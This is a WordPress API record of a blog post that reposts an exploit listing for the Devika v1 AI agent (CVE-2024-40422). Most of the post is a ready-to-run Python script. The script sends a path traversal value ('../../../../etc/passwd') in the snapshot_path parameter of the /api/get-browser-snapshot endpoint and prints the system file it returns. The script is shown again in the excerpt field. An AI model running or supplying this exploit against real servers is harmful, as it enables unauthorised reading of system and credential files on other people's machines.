{"id":58643,"date":"2024-08-05T20:39:51","date_gmt":"2024-08-05T17:39:51","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179904\/devika1-traversal.txt"},"modified":"2024-08-05T20:39:51","modified_gmt":"2024-08-05T17:39:51","slug":"devika-1-path-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/devika-1-path-traversal\/","title":{"rendered":"Devika 1 Path Traversal"},"content":{"rendered":"<p># Exploit Title: Devika v1 &#8211; Path Traversal via &#8216;snapshot_path&#8217; Parameter<br \/># Google Dork: N\/A<br \/># Date: 2024-06-29<br \/># Exploit Author: Alperen Ergel<br \/># Contact: @alpernae (IG\/X)<br \/># Vendor Homepage: https:\/\/devikaai.co\/<br \/># Software Link: https:\/\/github.com\/stitionai\/devika<br \/># Version: v1<br \/># Tested on: Windows 11 Home Edition<br \/># CVE: CVE-2024-40422<\/p>\n<p>#!\/usr\/bin\/python<\/p>\n<p>import argparse<br \/>import requests<\/p>\n<p>def exploit(target_url):<br \/>url = f&#8217;http:\/\/{target_url}\/api\/get-browser-snapshot&#8217;<br \/>params = {<br \/>&#8216;snapshot_path&#8217;: &#8216;..\/..\/..\/..\/etc\/passwd&#8217;<br \/>}<\/p>\n<p>response = requests.get(url, params=params)<br \/>print(response.text)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>parser = argparse.ArgumentParser(description=&#8217;Exploit directory traversal vulnerability.&#8217;)<br \/>parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, help=&#8217;Target URL (e.g., target.com)&#8217;, required=True)<br \/>args = parser.parse_args()<\/p>\n<p>exploit(args.target)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Devika v1 &#8211; Path Traversal via &#8216;snapshot_path&#8217; Parameter# Google Dork: N\/A# Date: 2024-06-29# Exploit Author: Alperen Ergel# Contact: @alpernae (IG\/X)# Vendor Homepage: https:\/\/devikaai.co\/# Software Link: https:\/\/github.com\/stitionai\/devika# Version: v1# Tested on: Windows 11 Home Edition# CVE: CVE-2024-40422 #!\/usr\/bin\/python import argparseimport requests def exploit(target_url):url = f&#8217;http:\/\/{target_url}\/api\/get-browser-snapshot&#8217;params = {&#8216;snapshot_path&#8217;: &#8216;..\/..\/..\/..\/etc\/passwd&#8217;} response = requests.get(url, params=params)print(response.text) if &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58643","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58643","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58643"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58643\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58643"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58643"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58643"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}